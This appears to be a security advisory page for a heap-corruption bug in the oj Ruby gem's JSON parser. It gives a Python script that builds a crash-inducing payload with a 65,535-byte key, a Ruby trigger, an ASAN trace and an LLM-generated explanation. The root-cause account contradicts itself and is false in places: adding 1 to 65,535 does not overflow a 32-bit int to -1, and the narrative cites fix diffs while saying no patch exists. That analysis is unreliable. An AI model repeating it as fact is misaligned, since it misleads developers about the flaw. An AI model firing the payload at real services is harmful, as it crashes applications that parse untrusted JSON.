VYPR
High severity8.7GHSA Advisory· Published Jun 19, 2026· Updated Jun 19, 2026

Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling

CVE-2026-54900

Description

Summary

Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.

Version

  • Software: oj gem
  • Affected: all versions with ext/oj/usual.c
  • Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/usual.c, form_attr:

// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
    char        buf[4096];
    // ...
    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0
                                  //   or: 65535 cast to int = 65535 (fits),
                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX
    // ...
    memcpy(buf, "@", 1);
    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX
}

The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.

ASAN report: `` ==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1) #0 memcpy #1 form_attr /ext/oj/usual.c:63 #2 cache_intern /ext/oj/cache.c:326 #3 get_attr_id /ext/oj/usual.c:186 #4 close_object_create /ext/oj/usual.c:374 #5 parse /ext/oj/parser.c:693 #6 parser_parse /ext/oj/parser.c:1408 0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800) ``

Reproduce

Generate the payload:

key = 'A' * 65535
with open('poc.json', 'w') as f:
    f.write('{"json_class":"Oj::Bag","' + key + '":1}')

Trigger:

require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

1

Patches

Vulnerability mechanics

Root cause

"Integer truncation in `form_attr` converts a 65,535-byte key length to `-1`, causing `memcpy` to copy `SIZE_MAX` bytes and corrupt heap memory."

Attack vector

An attacker supplies a crafted JSON payload where a key is exactly 65,535 bytes long and the JSON object uses a `create_id` key (e.g. `"json_class":"Oj::Bag"`). When `Oj::Parser#parse` processes this key in usual mode, the integer truncation in `form_attr` converts the length to `-1`, causing `memcpy` to copy `SIZE_MAX` bytes and corrupt heap memory [ref_id=1][ref_id=2]. The attack requires no authentication and is triggered over the network by submitting the malicious JSON to any application that parses untrusted input with the vulnerable parser configuration.

Affected code

The vulnerability resides in `ext/oj/usual.c` in the `form_attr` function (lines 55–64). The call chain is `form_attr` → `cache_intern` (`ext/oj/cache.c:326`) → `get_attr_id` (`usual.c:186`) → `close_object_create` (`usual.c:374`) → `parse` (`parser.c:693`).

What the fix does

The advisory does not include a published patch, but the root cause is clear: in `form_attr`, the variable `blen` is declared as `int` and computed as `(int)slen + 1`. When `slen` is 65,535, the addition overflows a signed 32-bit integer, producing `-1`, which is then cast to `size_t` for `memcpy` [ref_id=1][ref_id=2]. A correct fix would use a `size_t` type for `blen` and check that `slen + 1` does not exceed the destination buffer size before calling `memcpy`.

Preconditions

  • configThe application must use Oj::Parser with `:usual` mode and `create_id` option enabled
  • inputThe attacker must be able to supply a JSON payload with a key of exactly 65,535 bytes
  • inputThe JSON object must include a `create_id` key (e.g. `json_class`) to trigger the vulnerable code path

Reproduction

Generate the payload: ```python key = 'A' * 65535 with open('poc.json', 'w') as f: f.write('{"json_class":"Oj::Bag","' + key + '":1}') ``` Trigger: ```ruby require 'oj' Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read) ```

Generated on Jun 19, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.